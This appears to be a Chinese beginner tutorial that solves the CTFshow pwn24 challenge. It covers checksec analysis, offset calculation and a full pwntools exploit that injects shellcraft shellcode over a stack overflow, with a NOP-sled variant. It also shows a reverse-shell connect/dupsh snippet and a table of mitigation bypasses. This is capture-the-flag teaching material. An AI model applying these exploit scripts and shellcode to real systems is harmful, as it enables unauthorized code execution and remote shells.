CTFshow PWN入门实战:手把手教你用pwntools搞定pwn24(含shellcraft模块详解)

发布时间:2026/6/30 16:44:20
CTFshow PWN入门实战:手把手教你用pwntools搞定pwn24(含shellcraft模块详解)
CTFshow PWN入门实战从零开始攻破pwn24第一次接触CTF PWN题时那种既兴奋又迷茫的感觉我至今记忆犹新。面对一个陌生的二进制程序不知道从哪里入手看着别人轻松拿到shell自己却连基本工具都不会用。本文将带你从零开始用最直观的方式理解如何攻破CTFshow的pwn24题目特别适合刚安装好pwntools但不知如何下手的初学者。1. 理解题目与程序分析拿到pwn24这道题我们首先要做的不是急着写exp而是全面了解这个程序的行为和保护机制。这就像医生看病一样需要先诊断再治疗。使用checksec工具查看程序保护情况checksec ./pwn24你会看到类似这样的输出Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments几个关键信息解读32位程序这意味着地址是4字节的寄存器命名如eax、ebx等Partial RELRO全局偏移表(GOT)可写这对我们有利No NX堆栈可执行这是关键意味着我们可以在栈上放shellcode并执行RWX段存在可读可写可执行的段这简直是漏洞利用的天堂接下来用IDA或Ghidra反编译程序你会发现一个关键函数ctfshow它调用了read函数读取用户输入。这个函数没有做长度检查存在明显的缓冲区溢出漏洞。提示在PWN题中看到read、gets、scanf等函数时要立刻想到可能的缓冲区溢出。2. 漏洞利用思路设计基于前面的分析我们的攻击思路很清晰确定偏移量找出从输入开始到返回地址的距离构造payload用shellcode填充缓冲区并用shellcode地址覆盖返回地址获取shell执行我们注入的shellcode但具体怎么做让我们一步步拆解。2.1 确定偏移量在32位程序中典型的栈布局如下[缓冲区][ebp][返回地址]通过反汇编我们发现buf到ebp的距离是0x88字节再加上4字节的ebp本身所以到返回地址的偏移量是offset 0x88 4 140字节2.2 生成shellcodepwntools的shellcraft模块是我们的利器它可以生成各种架构的shellcode。对于这道题shellcode asm(shellcraft.sh())这行代码做了两件事shellcraft.sh()生成获取shell的汇编代码asm()将汇编代码编译为机器码注意由于是32位程序确保context设置为i386context.arch i3863. 编写完整exp脚本现在我们可以把所有这些整合到一个完整的exp脚本中from pwn import * # 设置环境 context(archi386, oslinux) context.log_level debug # 启动程序 # p process(./pwn24) # 本地测试 p remote(pwn.challenge.ctf.show, 28251) # 连接远程 # 生成shellcode shellcode asm(shellcraft.sh()) # 构造payload payload flat([ shellcode.ljust(140, bA), # 用shellcode填充缓冲区不足部分用A补齐 p32(0xffffd580) # 覆盖返回地址为栈地址(需要调试确定) ]) # 发送payload p.sendline(payload) # 交互模式 p.interactive()3.1 确定shellcode地址上面的脚本中有一个关键问题如何知道shellcode在栈上的确切地址这需要通过调试来确定。使用gdb附加进程gdb -p $(pidof pwn24)然后在read函数返回处下断点查看栈地址x/20wx $esp寻找我们输入的shellcode起始地址这个地址就是我们要覆盖返回地址的值。技巧在实际操作中可以先用cyclic生成测试字符串确定偏移量再用NOP sled增加命中率。4. 调试与优化第一次尝试往往不会成功这时需要调试。pwntools的gdb.attach()功能非常有用# 在发送payload前添加 gdb.attach(p, b *0x080484e9 # 在read返回处下断点 c )调试中常见问题及解决方案问题现象可能原因解决方法段错误返回地址错误重新调试确定准确地址无反应shellcode执行失败检查shellcode是否完整尝试不同生成方式连接断开远程服务问题检查网络重试优化后的payload构造# 更稳健的payload构造方式 payload flat([ b\x90*80, # NOP sled shellcode, # 实际shellcode bA*(140-80-len(shellcode)), # 填充 p32(0xffffd500) # 指向NOP sled中间位置 ])5. 最终攻击与flag获取经过调试优化后运行exp脚本python3 exp.py如果一切顺利你会看到[] Opening connection to pwn.challenge.ctf.show on port 28251: Done [*] Switching to interactive mode $ id uid1000(ctf) gid1000(ctf) groups1000(ctf) $ cat flag ctfshow{f615f3c6-b99a-4590-ac95-1f7baf5b974b}6. shellcraft模块深度解析shellcraft是pwntools中极其强大的模块它支持多种架构和功能。常用shellcode生成方法# 基本shell shellcraft.sh() # 指定输出文件描述符 shellcraft.dupsh(4) # 常用于特殊场景 # 执行特定命令 shellcraft.execve(/bin/sh, [/bin/sh, -c, ls -la]) # 反向连接 shellcraft.connect(127.0.0.1, 4444) shellcraft.dupsh()不同架构的shellcode生成# ARM架构 context.arch arm shellcode asm(shellcraft.sh()) # 64位 context.arch amd64 shellcode asm(shellcraft.sh())7. 防御机制与绕过思路虽然这道题没有开启NX等保护但了解防御机制对后续学习很重要保护机制作用绕过方法NX阻止执行栈上代码ROP技术ASLR随机化内存布局信息泄露Canary检测栈溢出泄露canary值PIE随机化代码地址计算相对偏移在实际做题过程中遇到问题不要气馁。我记得第一次做这道题时花了整整一天时间调试shellcode地址最后发现是忘了设置context.arch。PWN就是这样每个细节都可能影响结果但每次成功拿到flag的成就感也是无与伦比的。